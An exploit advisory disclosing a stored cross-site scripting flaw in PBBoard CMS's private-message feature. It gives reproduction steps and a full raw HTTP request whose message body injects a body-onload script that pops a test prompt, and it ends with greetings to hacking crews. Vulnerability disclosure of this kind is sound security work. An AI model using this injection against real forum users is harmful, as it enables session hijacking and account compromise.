PBBoard CMS – Persistent Cross-Site Scripting
############################################################################## # Exploit Title : PBBoard CMS Stored xss vulnerability # Author : Manish Kishan Tanwar # Vendor : http://www.pbboard.info/ # version affected: all # Date : 7/12/2014 # Discovered @ : INDISHELL Lab # Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti # email : manish.1046@gmail.com ############################################################################## //////////////////////// /// Overview: //////////////////////// Program PBBoard is interactive Forum management program Dialogic Free classified software Free and open source. /////////////////////////////// // Vulnerability Description: /////////////////////////////// Stored xss vulnerability exist in "send private message" module, a user can send xss crafted private message to other user, and when reciever will open the message xss payload will execute ////////////////////////////// /// Proof of Concept: - ////////////////////////////// go to "inbox", click "compose message" type username, title and message body , intercept the request and change the content of "text" parameter with xss payload when reciever will open the message, xss payload will execute Proof image:- http://oi57.tinypic.com/112d5cx.jpg ////////////////////// ///Demo POC Request/// ////////////////////// POST /PBBoard_v3.0.1/index.php?page=pm_send&send=1&start=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/PBBoard_v3.0.1/index.php?page=pm_send&send=1&index=1&username=ica Cookie: PowerBB_lastvisit=1417951132; PowerBB_username=ica; PowerBB_password=8a2d334536b2f4146af8cf46acd85110; security_level=0;PHPSESSID=thouojqch98pigioioepn8n2h1 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------147872036312473 Content-Length: 670 -----------------------------147872036312473 Content-Disposition: form-data; name="to[]" ica -----------------------------147872036312473 Content-Disposition: form-data; name="title" hi -----------------------------147872036312473 Content-Disposition: form-data; name="text" hii</div><font color=red><body onload="prompt( String.fromCharCode(120,115,115,32,116,101,115,116));">// -----------------------------147872036312473 Content-Disposition: form-data; name="icon" look/images/icons/i1.gif -----------------------------147872036312473 Content-Disposition: form-data; name="insert" Save -----------------------------147872036312473-- --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3 |